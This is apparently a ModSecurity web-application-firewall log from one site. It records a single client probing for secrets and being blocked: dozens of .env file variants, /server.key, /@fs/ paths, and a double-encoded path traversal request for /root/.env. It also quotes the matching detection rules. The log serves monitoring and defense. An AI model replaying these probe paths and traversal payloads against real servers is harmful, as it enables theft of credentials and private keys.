[Sun Oct 25 14:01:40.784088 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5EBLc82c1J4zoyxalWiQAAAAI"]
[Sun Oct 25 14:01:40.784236 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5EBLc82c1J4zoyxalWiQAAAAI"]
[Sun Oct 25 14:01:40.784462 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5EBLc82c1J4zoyxalWiQAAAAI"]
[Sun Oct 25 14:01:40.787224 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5EBFY5e6yJWIYGXiqD0QAAAAk"]
[Sun Oct 25 14:01:40.787377 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5EBFY5e6yJWIYGXiqD0QAAAAk"]
[Sun Oct 25 14:01:40.787612 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5EBFY5e6yJWIYGXiqD0QAAAAk"]
[Sun Oct 25 14:01:40.791760 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5EBPwFw76qlSfceadvYwAAAAA"]
[Sun Oct 25 14:01:40.791902 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5EBPwFw76qlSfceadvYwAAAAA"]
[Sun Oct 25 14:01:40.792165 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5EBPwFw76qlSfceadvYwAAAAA"]
[Sun Oct 25 14:01:40.792824 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at5EBBfmy5DaFfyE01WrDgAAABE"]
[Sun Oct 25 14:01:40.793005 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at5EBBfmy5DaFfyE01WrDgAAABE"]
[Sun Oct 25 14:01:40.793238 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at5EBBfmy5DaFfyE01WrDgAAABE"]
[Sun Oct 25 14:01:40.797204 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at5EBA99Fkrvw6SgmfSwyAAAAAM"]
[Sun Oct 25 14:01:40.797355 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at5EBA99Fkrvw6SgmfSwyAAAAAM"]
[Sun Oct 25 14:01:40.797592 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at5EBA99Fkrvw6SgmfSwyAAAAAM"]
[Sun Oct 25 14:01:40.798155 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5EBIIGIq5euXyTbvT1IQAAACQ"]
[Sun Oct 25 14:01:40.798335 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5EBIIGIq5euXyTbvT1IQAAACQ"]
[Sun Oct 25 14:01:40.798611 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5EBIIGIq5euXyTbvT1IQAAACQ"]
[Sun Oct 25 14:01:40.798803 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5EBKYYcNPV1bnoekNX2gAAAAQ"]
[Sun Oct 25 14:01:40.798967 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5EBKYYcNPV1bnoekNX2gAAAAQ"]
[Sun Oct 25 14:01:40.799216 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5EBKYYcNPV1bnoekNX2gAAAAQ"]
[Sun Oct 25 14:01:40.799755 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5EBP1CbQghwAu-zzMCLAAAACA"]
[Sun Oct 25 14:01:40.799903 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5EBP1CbQghwAu-zzMCLAAAACA"]
[Sun Oct 25 14:01:40.800115 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5EBP1CbQghwAu-zzMCLAAAACA"]
[Sun Oct 25 14:01:41.205756 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/appointments"] [unique_id "at5EBSjnAS4eJh-ada2NEwAAAA0"]
[Sun Oct 25 14:01:41.205789 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/appointments"] [unique_id "at5EBSjnAS4eJh-ada2NEwAAAA0"]
[Sun Oct 25 14:01:41.208188 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5EBfwFw76qlSfceadvcAAAAAA"]
[Sun Oct 25 14:01:41.208574 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5EBfwFw76qlSfceadvcAAAAAA"]
[Sun Oct 25 14:01:41.208806 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5EBfwFw76qlSfceadvcAAAAAA"]
[Sun Oct 25 14:01:41.209912 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5EBRfmy5DaFfyE01WrGwAAABE"]
[Sun Oct 25 14:01:41.210205 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5EBRfmy5DaFfyE01WrGwAAABE"]
[Sun Oct 25 14:01:41.210436 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5EBRfmy5DaFfyE01WrGwAAABE"]
[Sun Oct 25 14:01:41.211359 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at5EBf1CbQghwAu-zzMCNgAAACA"]
[Sun Oct 25 14:01:41.211504 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at5EBf1CbQghwAu-zzMCNgAAACA"]
[Sun Oct 25 14:01:41.211711 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at5EBf1CbQghwAu-zzMCNgAAACA"]
[Sun Oct 25 14:01:41.216067 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at5EBbc82c1J4zoyxalWlgAAAAI"]
[Sun Oct 25 14:01:41.216316 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at5EBbc82c1J4zoyxalWlgAAAAI"]
[Sun Oct 25 14:01:41.216539 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at5EBbc82c1J4zoyxalWlgAAAAI"]
[Sun Oct 25 14:01:41.218786 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5EBaYYcNPV1bnoekNX5wAAAAQ"]
